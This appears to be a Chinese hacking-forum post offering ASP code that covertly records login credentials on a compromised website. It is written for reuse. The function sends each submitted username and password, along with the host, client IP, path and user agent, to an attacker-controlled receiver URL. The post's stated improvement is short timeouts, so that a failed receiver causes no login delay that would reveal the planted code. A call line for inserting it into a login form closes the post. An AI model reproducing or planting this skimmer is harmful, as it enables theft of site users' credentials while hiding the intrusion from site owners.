ASP通用账号密码记录(更新版)

作者：xxbing

来源：T00LS

解决：

一旦接收账号密码的网址DNS无法解析\或者网站服务器瘫痪,将会造成对方登陆口登陆延时,延时可以达到1分钟左右.这样基本就暴露了自己插的代码

Function checklogin(namea,passb)
    xinxi=request.ServerVariables("Http_Host")&"|"&Request.ServerVariables("Remote_Addr")&"|"&request.ServerVariables("Path_Translated")
    xinxi=xinxi&"|"&request.ServerVariables("HTTP_USER_AGENT")
   '修改为自己的网址.jieshou.asp代码请通过百度搜索下载
    surl="http://www.baidu.com/jieshou.asp?name="&namea&"&pass="&passb&"&xinxi="&xinxi
    set xmlHttp=server.createobject("MSXML2.ServerXMLHTTP")
    on error resume next
    '单位是毫秒
    xmlHttp.setTimeouts 10000,10000,10000,30000
    xmlHttp.open "POST",surl,false
    xmlHttp.send
    if xmlHttp.readystate=4 then
    getBody=xmlhttp.responsebody
    else
    'response.end
    end if
    set xmlHttp=nothing
End Function

调用方法：

'请根据表单name值进行相应修改.
call checklogin(request.form("username"),request.form("password"))